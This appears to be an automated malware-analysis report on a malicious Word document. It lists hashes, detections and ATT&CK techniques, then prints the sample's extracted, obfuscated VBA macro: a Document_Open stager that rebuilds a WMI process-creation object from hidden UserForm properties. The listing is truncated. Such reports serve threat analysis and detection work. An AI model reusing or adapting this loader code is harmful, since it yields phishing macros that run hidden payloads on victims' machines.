Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21d28b0dd82bf12c…

MALICIOUS

Office (OLE)

231.8 KB Created: 2020-08-24 23:02:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: fc7e615106f6fb9020b8284c5ee9b7fe SHA-1: 413890c8b2b4e31afc499365b841fe5c93d4dd1a SHA-256: 21d28b0dd82bf12cdcc4a90027d2fd36ffc021ed180a4059c96124349743a1e3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code, which is a common technique for command staging. The 'Document_Open' macro automatically executes this stager upon opening the document, suggesting a spearphishing attachment delivery method. The script is heavily obfuscated, preventing a detailed analysis of its exact payload, but its intent is clearly to download and execute further malicious code.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9486873-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9486873-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6864 bytes
SHA-256: 3310cf3a432ac3f080f7270e1fdccd3f7509030f49a6ce97ef4d483746091df7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pb92o9ip1hjg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
C0i6za70b_m8d.Uear8otu6_8c
End Sub


Attribute VB_Name = "C0i6za70b_m8d"
Attribute VB_Base = "0{91E8CCD0-24DD-46D7-84CE-1DBB59437D6C}{2ACD4A5D-E132-449D-A81A-E6D6F3D07A39}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Uear8otu6_8c()
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Uf_da0kjip7cd9fz = 100
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Pdq6tkc2kxsy = ChrW(Uf_da0kjip7cd9fz + (15))
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Xksnmq27j8hbxwitrh = "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[i3%hs8( 8192&&&21gs [[]asd2[nm3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[gm3%hs8( 8192&&&21gs [[]asd2[t3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[" + Pdq6tkc2kxsy + "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[:3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[in3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[33%hs8( 8192&&&21gs [[]asd2[23%hs8( 8192&&&21gs [[]asd2[_3%hs8( 8192&&&21gs [[]asd2[" + C0i6za70b_m8d.G_i79t6kr2vmmngjaf + "3%hs8( 8192&&&21gs [[]asd2[ro3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[ce3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2["
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
F60gwm8csrd_v3kvm = Zb43wcswx97(Xksnmq27j8hbxwitrh)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Set Ninn8449hulve = CreateObject(F60gwm8csrd_v3kvm)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
C8bdmegzajch9_pue = C0i6za70b_m8d.Uclknrx3re0.ControlTipText
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
V4tsh1h0dr0517 = Mbpwmk8bkgivi8 + (F60gwm8csrd_v3kvm + Pdq6tkc2kxsy + C0i6za70b_m8d.Dq0e4bk8mepn.ControlTipText + C8bdmegzajch9_pue)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Jzh5n7sdap18_ = V4tsh1h0dr0517 + C0i6za70b_m8d.G_i79t6kr2vmmngjaf
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Set Kqj3a7q3q2i9y9 = Jkr2hgqs4i897(Jzh5n7sdap18_)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = C0i6za70b_m8d
Ykxctoz0wggitg = Array(Cajuznhyzuv6nb1 + "Nvn5g9xsb4d4 Ebn71chlzhc2x0Yum88ayygmogo3s Goitsi0x0s65oldt_d", Ninn8449hulve.Create(Sxribdiksv4m570az2, Mrg8psogum75ugk, Kqj3a7q3q2i9y9), Ippb1vz0of6j7i6hl + "Aqds4bdbplcz Qds3euc683isj Dllrztng6z6wo9yf W16ignr2ximey")
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * 
... (truncated)